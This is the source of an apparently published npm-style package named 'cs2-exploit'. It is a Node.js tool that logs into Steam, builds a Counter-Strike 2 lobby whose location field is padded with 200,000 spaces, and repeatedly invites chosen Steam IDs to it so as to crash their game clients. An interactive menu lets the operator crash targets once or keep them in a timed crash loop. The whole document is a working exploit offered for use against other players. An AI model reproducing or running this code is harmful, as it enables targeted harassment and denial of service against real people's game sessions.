cs2-exploit 1.0.0

package/helpers/Lobby.js

@@ -0,0 +1,396 @@
+const SteamUser = require("steam-user");
+const SteamID = require("steamid");
+const Coordinator = require("./Coordinator.js");
+const VDF = require("./VDF.js");
+const Helper = require("./Helper.js");
+
+module.exports = class Lobby {
+	constructor() {
+		// Lobby settings
+		this.lobbySettings = {};
+
+		// Crashing
+		this.crashLoop = [];
+		(async () => {
+			while (true) {
+				await new Promise(p => setTimeout(p, 3000));
+
+				if (!this.lobbySettings.id) {
+					continue;
+				}
+
+				// First we find the ones which we want to remove and the ones we want to crash
+				let remove = [];
+				let toCrash = [];
+				for (let target of this.crashLoop) {
+					if (Date.now() >= target.end) {
+						remove.push(target.steamid);
+						continue;
+					}
+
+					toCrash.push(target.steamid);
+				}
+
+				// Now we remove the ones who are irrelevant!
+				for (let r of remove) {
+					let index = this.crashLoop.find(s => s.steamid === r);
+					if (index <= -1) {
+						continue;
+					}
+
+					this.crashLoop.splice(index, 1);
+				}
+
+				// And crash the ones who have to die
+				if (toCrash.length > 0) {
+					await this.crashUsers(toCrash);
+				}
+			}
+		})();
+
+		// Instances
+		this.steam = new SteamUser();
+		this.coordinator = new Coordinator(this.steam);
+	}
+
+	_login(details) {
+		this.steamDetails = details;
+
+		return new Promise((resolve, reject) => {
+			let loggedOn = () => {
+				this.steam.removeListener("loggedOn", loggedOn);
+				this.steam.removeListener("error", error);
+				this.steam.removeListener("steamGuard", steamGuard);
+
+				this.steam.requestFreeLicense([730]);
+				this.steam.setPersona(SteamUser.EPersonaState.Online);
+
+				// Bad ping check and restart CSGO if needed
+				this.csgoHeartbeat = setInterval(async () => {
+					// Do not run this if we have already figured out we're offline
+					let res = await this.coordinator.sendMessage(
+						730,
+						this.coordinator.Protos.csgo.EGCBaseClientMsg.k_EMsgGCClientHello,
+						{},
+						this.coordinator.Protos.csgo.CMsgClientHello,
+						{},
+						this.coordinator.Protos.csgo.EGCBaseClientMsg.k_EMsgGCClientWelcome,
+						this.coordinator.Protos.csgo.CMsgClientWelcome,
+						2500
+					).catch(() => { });
+
+					if (res) {
+						// We're connected, nothing to do
+						return;
+					}
+
+					// Lets do some stuff
+					clearInterval(this.csgoHeartbeat);
+					this.steam.logOff();
+
+					await new Promise(p => setTimeout(p, 500));
+
+					let logon = undefined;
+					while (!logon) {
+						logon = await this.createLobby(this.steamDetails).catch((err) => {
+							console.error(err);
+						});
+						if (!logon) {
+							this.steam.logOff();
+							await new Promise(p => setTimeout(p, 2000));
+						}
+					}
+
+					// We are now logged on again and this loop should be running again
+				}, 5000);
+
+				resolve(true);
+			}
+
+			let error = (err) => {
+				this.steam.removeListener("loggedOn", loggedOn);
+				this.steam.removeListener("error", error);
+				this.steam.removeListener("steamGuard", steamGuard);
+
+				reject(err);
+			}
+
+			let steamGuard = () => {
+				this.steam.removeListener("loggedOn", loggedOn);
+				this.steam.removeListener("error", error);
+				this.steam.removeListener("steamGuard", steamGuard);
+
+				reject(new Error("Steam Guard required"));
+			}
+
+			this.steam.on("loggedOn", loggedOn);
+			this.steam.on("error", error);
+			this.steam.on("steamGuard", steamGuard);
+
+			this.steam.logOn(details);
+		});
+	}
+
+	createLobby(details = undefined) {
+		return new Promise(async (resolve, reject) => {
+			// First we log into Steam if we haven't already
+			if (!this.steam.steamID) {
+				if (!details) {
+					reject(new Error("No details provide for Steam login"));
+					return;
+				}
+
+				let loginSuccess = await this._login(details).catch(reject);
+				if (!loginSuccess) {
+					return;
+				}
+			}
+
+			// Start CSGO and establish coordinator response
+			this.steam.gamesPlayed([730]);
+
+			let errGcWelcome = 0;
+			this.gcWelcome = undefined;
+			while (true) {
+				this.gcWelcome = await this.coordinator.sendMessage(
+					730,
+					this.coordinator.Protos.csgo.EGCBaseClientMsg.k_EMsgGCClientHello,
+					{},
+					this.coordinator.Protos.csgo.CMsgClientHello,
+					{},
+					this.coordinator.Protos.csgo.EGCBaseClientMsg.k_EMsgGCClientWelcome,
+					this.coordinator.Protos.csgo.CMsgClientWelcome,
+					2000
+				).catch(() => { });
+
+				if (this.gcWelcome) {
+					break;
+				}
+
+				errGcWelcome += 1;
+
+				if (errGcWelcome > 10 /* 2 times 10 = 20 seconds to connect */) {
+					reject(new Error("Failed to establish GameCoordinator connection"));
+					return;
+				}
+			}
+			// From now on we should not need to loop any request anymore as the game has fully established connection
+
+			// Lets get a matchmaking hello so we can properly set everything required
+			this.gcMatchmaking = await this.coordinator.sendMessage(
+				730,
+				this.coordinator.Protos.csgo.ECsgoGCMsg.k_EMsgGCCStrike15_v2_MatchmakingClient2GCHello,
+				{},
+				this.coordinator.Protos.csgo.CMsgGCCStrike15_v2_MatchmakingClient2GCHello,
+				{},
+				this.coordinator.Protos.csgo.ECsgoGCMsg.k_EMsgGCCStrike15_v2_MatchmakingGC2ClientHello,
+				this.coordinator.Protos.csgo.CMsgGCCStrike15_v2_MatchmakingGC2ClientHello,
+				2000
+			).catch(reject);
+
+			if (!this.gcMatchmaking) {
+				return;
+			}
+
+			// If a lobby already exists under our name try to leave it to ensure its all up-to-date
+			if (this.lobbySettings.id) {
+				await this.coordinator.sendMessage(
+					undefined,
+					6605,
+					{
+						steamid: this.steam.steamID.getSteamID64(),
+						client_sessionid: this.steam._sessionID,
+						routing_appid: 730
+					},
+					this.coordinator.Protos.steam.CMsgClientMMSLeaveLobby,
+					{
+						app_id: 730,
+						steam_id_lobby: this.lobbySettings.id.toString()
+					},
+					6606,
+					this.coordinator.Protos.steam.CMsgClientMMSLeaveLobbyResponse,
+					2000
+				).catch(() => { });
+
+				// We don't care about the response, either we just left a lobby or were never in one
+			}
+
+			// Create the actual lobby on Steam
+			let lobbyCreate = await this.coordinator.sendMessage(
+				undefined,
+				6601,
+				{
+					steamid: this.steam.steamID.getSteamID64(),
+					client_sessionid: this.steam._sessionID,
+					routing_appid: 730
+				},
+				this.coordinator.Protos.steam.CMsgClientMMSCreateLobby,
+				{
+					app_id: 730,
+					max_members: 1,
+					lobby_type: 1,
+					lobby_flags: 1,
+					cell_id: this.steam.cellID,
+					public_ip: Helper.IPStrToInt(this.steam.publicIP),
+					persona_name_owner: this.steam.accountInfo.name
+				},
+				6602,
+				this.coordinator.Protos.steam.CMsgClientMMSCreateLobbyResponse,
+				3000
+			).catch(reject);
+
+			if (!lobbyCreate) {
+				return;
+			}
+
+			if (lobbyCreate.eresult !== 1) {
+				reject(new Error("Invalid EResult for creating lobby: " + lobbyCreate.eresult));
+				return;
+			}
+
+			this.lobbySettings = {
+				id: new SteamID(lobbyCreate.steam_id_lobby.toString())
+			}
+
+			let mapgroups = ["mg_de_mirage", "mg_de_inferno", "mg_de_overpass", "mg_de_vertigo", "mg_de_nuke", "mg_de_train", "mg_de_dust2"];
+
+			await this.updateLobbyData({
+				"game:apr": "1",
+				"game:ark": "180",
+				"game:loc": "death.png" + " ".repeat(200000),
+				"game:map": mapgroups[0].replace("mg_", ""),
+				"game:mapgroupname": mapgroups.join(","),
+				"game:mode": "cooperative",
+				"game:prime": "1",
+				"game:search_key": "k13711",
+				"game:state": "lobby",
+				"game:type": "classic",
+				"members:numMachines": "2",
+				"members:numPlayers": "2",
+				"members:numSlots": "10",
+				"options:action": "custommatch",
+				"options:anytypemode": "0",
+				"options:server": "official",
+				"system:access": "public",
+				"system:network": "LIVE",
+				"uids": [
+					this.steam.steamID,
+					SteamID.fromIndividualAccountID(22202)
+				]
+			}, 10, 1, 1).catch(() => { });
+
+			resolve({
+				gcWelcome: this.gcWelcome,
+				gcMatchmaking: this.gcMatchmaking
+			});
+		});
+	}
+
+	updateLobbyData(customs, maxMembers = 10, lobbyType = 1, lobbyFlags = 1) {
+		return new Promise((resolve, reject) => {
+			if (!this.lobbySettings.id) {
+				reject(new Error("Lobby has not yet been created"));
+				return;
+			}
+
+			// Create defaults
+			let defaults = this.lobbySettings.csgo || {
+				"game:apr": "1",
+				"game:ark": "130",
+				"game:loc": "DE",
+				"game:map": "de_mirage",
+				"game:mapgroupname": "mg_de_mirage,mg_de_inferno,mg_de_overpass,mg_de_vertigo,mg_de_nuke,mg_de_train,mg_de_dust2",
+				"game:mode": "competitive",
+				"game:prime": "1",
+				"game:search_key": "k13710",
+				"game:state": "lobby",
+				"game:type": "classic",
+				"members:numMachines": "1",
+				"members:numPlayers": "1",
+				"members:numSlots": "10",
+				"options:action": "custommatch",
+				"options:anytypemode": "0",
+				"options:server": "official",
+				"system:access": "private",
+				"system:network": "LIVE",
+				"uids": [
+					this.steam.steamID
+				]
+			};
+
+			let obj = {};
+
+			// Combine customs with defaults
+			for (let key in defaults) {
+				obj[key] = defaults[key];
+			}
+
+			for (let key in customs) {
+				obj[key] = customs[key];
+			}
+
+			this.lobbySettings.csgo = obj;
+
+			// Now we normalize it to only allow strings
+			for (let key in obj) {
+				if (typeof obj[key] === "object") {
+					continue;
+				}
+
+				obj[key] = obj[key].toString();
+			}
+
+			// Finally send it as update to the game
+			this.coordinator.sendMessage(
+				undefined,
+				6609,
+				{
+					steamid: this.steam.steamID.getSteamID64(),
+					client_sessionid: this.steam._sessionID,
+					routing_appid: 730
+				},
+				this.coordinator.Protos.steam.CMsgClientMMSSetLobbyData,
+				{
+					app_id: 730,
+					steam_id_lobby: this.lobbySettings.id.getSteamID64(),
+					steam_id_member: "0",
+					max_members: maxMembers,
+					lobby_type: lobbyType,
+					lobby_flags: lobbyFlags,
+					metadata: VDF.encode(obj, [0x00, 0x00], [0x08], { uids: Helper.encodeUids }).toBuffer()
+				},
+				6610,
+				this.coordinator.Protos.steam.CMsgClientMMSSetLobbyDataResponse,
+				5000
+			).then(resolve).catch(reject);
+		});
+	}
+
+	crashUsers(steamIDs) {
+		return new Promise(async (resolve, reject) => {
+			// Crash the users on our list
+			for (let steamid of steamIDs) {
+				this.coordinator.sendMessage(
+					undefined,
+					6621,
+					{
+						steamid: this.steam.steamID.getSteamID64(),
+						client_sessionid: this.steam._sessionID,
+						routing_appid: 730
+					},
+					this.coordinator.Protos.steam.CMsgClientMMSInviteToLobby,
+					{
+						app_id: 730,
+						steam_id_lobby: this.lobbySettings.id.getSteamID64(),
+						steam_id_user_invited: steamid
+					},
+					undefined,
+					undefined,
+					5000
+				);
+			}
+
+			resolve(true);
+		});
+	}
+}

package/helpers/Protos.js

@@ -0,0 +1,47 @@
+const Protobuf = require("protobufjs");
+const fs = require("fs");
+const path = require("path");
+
+module.exports = Protos;
+
+/**
+ * @typedef protosObject
+ * @type {Object}
+ * @property {String} name Name ot use in the output
+ * @property {Array.<String>|String} protos Array of protobuf file paths to load OR directory path to load all
+ */
+
+/**
+ * Parse an array of protobuf files
+ * @param {Array.<protosObject>} protos Array of objets to parse
+ * @param {Boolean} ignoreErrors Should we ignore errors or not
+ * @returns {Object}
+ */
+function Protos(protos, ignoreErrors = true) {
+	const protobufs = {};
+
+	for (let proto of protos) {
+		let root = new Protobuf.Root();
+		let files = Array.isArray(proto.protos) ? proto.protos : fs.readdirSync(proto.protos).map(file => path.join(proto.protos, file));
+
+		for (let file of files) {
+			if (!file.endsWith(".proto") || !fs.existsSync(file)) {
+				continue;
+			}
+
+			try {
+				root = root.loadSync(file, {
+					keepCase: true					
+				});
+			} catch (err) {
+				if (!ignoreErrors) {
+					throw err;
+				}
+			};
+		}
+
+		protobufs[proto.name] = root;
+	}
+
+	return protobufs;
+}

package/helpers/VDF.js

@@ -0,0 +1,140 @@
+const ByteBuffer = require("bytebuffer");
+
+const Type = {
+	None: 0,
+	String: 1,
+	Int32: 2,
+	Float32: 3,
+	Pointer: 4,
+	WideString: 5,
+	Color: 6,
+	UInt64: 7,
+	End: 8,
+};
+
+module.exports = class VDF {
+	static decode(buffer, customDecodeFields = {}) {
+		if (buffer.toString("hex").startsWith("0000") === true) {
+			buffer = Buffer.from(buffer.toString("hex").substring(4), "hex");
+		}
+
+		let object = {};
+		if (typeof buffer.readUint8 !== "function") {
+			buffer = ByteBuffer.wrap(buffer);
+		}
+
+		if (buffer.offset !== buffer.limit) {
+			while (true) {
+				let type = buffer.readUint8();
+
+				if (type === Type.End) {
+					break;
+				}
+
+				let name = buffer.readCString();
+
+				if (typeof customDecodeFields[name] === "function") {
+					object[name] = customDecodeFields[name](buffer);
+					continue;
+				}
+
+				switch (type) {
+					case Type.None: {
+						object[name] = this.decode(buffer);
+						break;
+					}
+					case Type.String: {
+						object[name] = buffer.readCString();
+						break;
+					}
+					case Type.Int32:
+					case Type.Color:
+					case Type.Pointer: {
+						object[name] = buffer.readInt32();
+						break;
+					}
+					case Type.UInt64: {
+						object[name] = buffer.readUint64();
+						break;
+					}
+					case Type.Float32: {
+						object[name] = buffer.readFloat();
+						break;
+					}
+				}
+			}
+		}
+
+		return object;
+	}
+
+	static encode(_object, prefix = [0x00, 0x00], suffix = [], customEncodeFields = {}) {
+		// Create a copy of the input object so we do not modify it
+		let object = { ..._object };
+
+		let buffer = new ByteBuffer();
+
+		for (let pre of prefix) {
+			buffer.writeByte(pre);
+		}
+
+		for (let item in object) {
+			if (object.hasOwnProperty(item) === false) {
+				continue;
+			}
+
+			if (typeof customEncodeFields[item] === "function") {
+				object[item] = customEncodeFields[item](object[item]);
+			}
+
+			_encode(object[item], buffer, item);
+		}
+
+		for (let suf of suffix) {
+			buffer.writeByte(suf);
+		}
+
+		buffer.writeByte(Type.End);
+		buffer.flip();
+
+		return buffer;
+	}
+}
+
+function _encode(object, buffer, name) {
+	if (object instanceof Buffer) {
+		buffer.writeByte(Type.String);
+		buffer.writeCString(name);
+		let parts = object.toString("hex").toUpperCase().match(/.{1,2}/g);
+		for (let part of parts) {
+			buffer.writeByte(parseInt("0x" + part));
+		}
+		//buffer.writeByte(0x00);
+	} else {
+		switch (typeof object) {
+			case "object": {
+				buffer.writeByte(Type.None);
+				buffer.writeCString(name);
+
+				for (let index in object) {
+					_encode(object[index], buffer, index);
+				}
+
+				buffer.writeByte(Type.End);
+				break;
+			}
+			case "string": {
+				buffer.writeByte(Type.String);
+				buffer.writeCString(name);
+				buffer.writeCString(object ? object : "");
+				break;
+			}
+			case "number": {
+				buffer.writeByte(Type.String);
+				buffer.writeCString(name);
+				buffer.writeCString(object.toString());
+				break;
+			}
+		}
+	}
+}

package/index.js

@@ -0,0 +1,137 @@
+const Inquirer = require("inquirer");
+const SteamID = require("steamid");
+const Lobby = require("./helpers/Lobby.js");
+const Helper = require("./helpers/Helper.js");
+const config = require("./config.json");
+
+let lobby = undefined;
+
+(async () => {
+	if (!Helper.verifyProtobufs()) {
+		console.log("Failed to find protobufs. Downloading...");
+		await Helper.downloadProtobufs(__dirname);
+	} else {
+		console.log("Found protobufs");
+	}
+
+	lobby = new Lobby();
+
+	console.log("Logging in...");
+
+	await lobby.createLobby(config.details);
+
+	askQuestion();
+})();
+
+function askQuestion() {
+	Inquirer.prompt({
+		type: "list",
+		message: "What would you like to do?",
+		name: "reply",
+		choices: [
+			"Crash users once",
+			"Add users to crash loop",
+			"Remove users from crash list"
+		]
+	}).then(async (res) => {
+		if (res.reply === "Remove users from crash list") {
+			if (lobby.crashLoop.length <= 0) {
+				console.log("No user is currently being crashed");
+				askQuestion();
+				return;
+			}
+
+			let remove = await Inquirer.prompt({
+				type: "list",
+				message: "Which user would you like to remove from the crash loop?",
+				name: "reply",
+				choices: [
+					lobby.crashLoop.map(c => c.steamid),
+					"EXIT"
+				].flat()
+			});
+
+			if (remove.reply === "EXIT") {
+				askQuestion();
+				return;
+			}
+
+			let index = lobby.crashLoop.findIndex(c => c.steamid === remove.reply);
+			if (index <= -1) {
+				console.log("\"" + remove.reply + "\" is not in the crash loop");
+			} else {
+				lobby.crashLoop.splice(index, 1);
+				console.log("\"" + remove.reply + "\" has been removed from the crash loop");
+			}
+
+			askQuestion();
+			return;
+		}
+
+		if ([
+			"Crash users once",
+			"Add users to crash loop"
+		].includes(res.reply)) {
+			// Lets ask for user input
+
+			let users = await Inquirer.prompt({
+				type: "input",
+				message: "Please enter SteamIDs of the users you want to crash. Separated by commas",
+				name: "reply"
+			});
+
+			let dur = -1;
+			if (res.reply === "Add users to crash loop") {
+				let time = await Inquirer.prompt({
+					type: "input",
+					message: "For how long do you want to crash the user(s) for? In minutes.",
+					name: "reply"
+				});
+
+				time = parseInt(time.reply);
+				if (!isNaN(time)) {
+					dur = time;
+				} else {
+					console.log("Invalid duration input.");
+					askQuestion();
+					return;
+				}
+			}
+
+			let toAddRaw = users.reply.split(",");
+			let toAdd = [];
+
+			for (let to of toAddRaw) {
+				let sid = undefined;
+				try {
+					sid = new SteamID(to);
+				} catch { }
+
+				if (!sid) {
+					console.log("Failed to parse SteamID from \"" + to + "\"");
+					continue;
+				}
+
+				if (dur > 0) {
+					toAdd.push({
+						steamid: sid.toString(),
+						end: Date.now() + (dur * 60 * 1000)
+					});
+					console.log("Trying to crash \"" + sid.toString() + "\" for " + dur + " minutes");
+				} else {
+					toAdd.push(sid.toString());
+					console.log("Tried to crash \"" + sid.toString() + "\"");
+				}
+			}
+
+			if (dur > 0) {
+				lobby.crashLoop.push(...toAdd);
+			} else {
+				lobby.crashUsers(toAdd);
+			}
+		}
+
+		// Return to questioning
+		askQuestion();
+	});
+}